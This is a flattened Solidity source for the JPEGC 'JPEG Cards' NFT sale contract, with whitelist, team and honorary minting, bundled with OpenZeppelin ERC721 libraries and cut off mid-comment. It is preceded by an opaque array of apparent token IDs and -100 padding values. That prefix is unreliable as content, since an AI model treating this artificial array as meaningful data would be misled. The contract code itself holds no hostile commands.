[ 1, 565, 445, 11195, 12, 11890, 389, 1937, 16, 2254, 389, 4412, 13, 1071, 1338, 5541, 288, 203, 1377, 2583, 12, 389, 1937, 411, 389, 4412, 11272, 203, 1377, 10485, 67, 4684, 273, 389, 1937, 31, 203, 1377, 14435, 67, 4684, 273, 389, 4412, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; /// @title JPEG NFT contract /// @notice 1019 NFTs are available. /// 50 NFTs are reserved for team members, 19 are honoraries and the rest (950) are for sale. /// The sale will start at `whitelistStartTimestamp` and will only allow whitelisted users to mint. /// At `publicStartTimestamp` the sale will open up to the public (if any NFTs are left). /// @dev The whitelist is implemented using a merkle tree. contract JPEGC is ERC721Enumerable, Ownable { /// @notice Max number of NFTs that can be minted per wallet. uint256 public constant MAX_PER_WALLET = 2; /// @notice Index of the last NFT reserved for team members (0 - 49). uint256 public constant HIGHEST_TEAM = 49; /// @notice Index of the last NFT for sale (50 - 999). uint256 public constant HIGHEST_PUBLIC = 999; /// @notice Max number of mintable NFTs and index of the last honorary NFT (1000 - 1018). uint256 public constant MAX_SUPPLY = 1018; /// @notice Price of each NFT for whitelisted users (+ gas). uint256 public constant MINT_PRICE = .3 ether; /// @dev Root of the merkle tree used for the whitelist. bytes32 public immutable merkleRoot; /// @notice Whitelist sale start timestamp. uint256 public whitelistStartTimestamp; /// @notice Public sale start timestamp. uint256 public publicStartTimestamp; /// @dev Index of the next NFT reserved for team members. uint256 internal teamPointer = 0; /// @dev Index of the next NFT for sale. uint256 internal publicPointer = 50; /// @dev Index of the next honorary NFT. uint256 internal honoraryPointer = 1000; /// @dev Base uri of the NFT metadata string internal baseUri; /// @notice Number of NFTs minted by each address. mapping(address => uint256) public mintedAmount; constructor(bytes32 root) ERC721("JPEG Cards", "JPEGC") { merkleRoot = root; } /// @notice Used by whitelisted users to mint a maximum of 2 NFTs per address. /// NFTs minted using this function range from #50 to #999. /// Requires a merkle proof. /// @param merkleProof The merkle proof to verify. /// @param amount Number of NFTs to mint (max 2). function mintWhitelist(bytes32[] calldata merkleProof, uint256 amount) external payable { require(isWhitelistOpen(), "SALE_NOT_OPEN"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require( MerkleProof.verify(merkleProof, merkleRoot, leaf), "INVALID_PROOF" ); _mintInternal(msg.sender, amount); } /// @notice Allows the public to mint a maximum of 2 NFTs per address. /// NFTs minted using this function range from #50 to #999. /// @param amount Number of NFTs to mint (max 2). function mint(uint256 amount) external payable { require(isPublicOpen(), "SALE_NOT_OPEN"); _mintInternal(msg.sender, amount); } /// @notice Used by the owner (DAO) to mint NFTs reserved for team members. /// NFTs minted using this function range from #0 to #49. /// @param amount Number of NFTs to mint. function mintTeam(uint256 amount) external onlyOwner { require(amount != 0, "INVALID_AMOUNT"); uint256 currentPointer = teamPointer; uint256 newPointer = currentPointer + amount; require(newPointer - 1 <= HIGHEST_TEAM, "TEAM_LIMIT_EXCEEDED"); teamPointer = newPointer; for (uint256 i = 0; i < amount; i++) { // No _safeMint because the owner is a gnosis safe _mint(msg.sender, currentPointer + i); } } /// @notice Used by the owner (DAO) to mint honorary NFTs. /// NFTs minted using this function range from #1000 to #1018. /// @param amount Number of NFTs to mint. function mintHonorary(uint256 amount) external onlyOwner { require(amount != 0, "INVALID_AMOUNT"); uint256 currentPointer = honoraryPointer; uint256 newPointer = currentPointer + amount; require(newPointer - 1 <= MAX_SUPPLY, "HONORARY_LIMIT_EXCEEDED"); honoraryPointer = newPointer; for (uint256 i = 0; i < amount; i++) { // No _safeMint because the owner is a gnosis safe _mint(msg.sender, currentPointer + i); } } /// @dev Function called by `mintWhitelist` and `mint`. /// Performs common checks and mints `amount` of NFTs. /// @param account The account to mint the NFTs to. /// @param amount The amount of NFTs to mint. function _mintInternal(address account, uint256 amount) internal { require(amount != 0, "INVALID_AMOUNT"); uint256 mintedWallet = mintedAmount[account] + amount; require(mintedWallet <= MAX_PER_WALLET, "WALLET_LIMIT_EXCEEDED"); uint256 currentPointer = publicPointer; uint256 newPointer = currentPointer + amount; require(newPointer - 1 <= HIGHEST_PUBLIC, "SALE_LIMIT_EXCEEDED"); require(amount * MINT_PRICE == msg.value, "WRONG_ETH_VALUE"); publicPointer = newPointer; mintedAmount[account] = mintedWallet; for (uint256 i = 0; i < amount; i++) { _safeMint(account, currentPointer + i); } } /// @return `true` if the whitelist sale is open, otherwise `false`. function isWhitelistOpen() public view returns (bool) { return whitelistStartTimestamp > 0 && block.timestamp >= whitelistStartTimestamp && publicPointer <= HIGHEST_PUBLIC; } /// @return `true` if the public sale is open, otherwise `false`. function isPublicOpen() public view returns (bool) { return publicStartTimestamp > 0 && block.timestamp >= publicStartTimestamp && publicPointer <= HIGHEST_PUBLIC; } /// @notice Allows the owner to set the sale timestamps (whitelist and public). /// @param whitelistTimestamp The start of the whitelist sale (needs to be greater than `block.timestamp`). /// @param publicTimestamp The start of the public sale (needs to be greater than `whitelistTimestamp`). function setSaleTimestamps( uint256 whitelistTimestamp, uint256 publicTimestamp ) external onlyOwner { require( publicTimestamp > whitelistTimestamp && whitelistTimestamp > block.timestamp, "INVALID_TIMESTAMPS" ); whitelistStartTimestamp = whitelistTimestamp; publicStartTimestamp = publicTimestamp; } /// @notice Used by the owner (DAO) to withdraw the eth raised during the sale. function withdrawETH() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } /// @notice Used by the owner (DAO) to reveal the NFTs. /// NOTE: This allows the owner to change the metadata this contract is pointing to, /// ownership of this contract should be renounced after reveal. function setBaseURI(string memory uri) external onlyOwner { baseUri = uri; } function _baseURI() internal view override returns (string memory) { return baseUri; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a 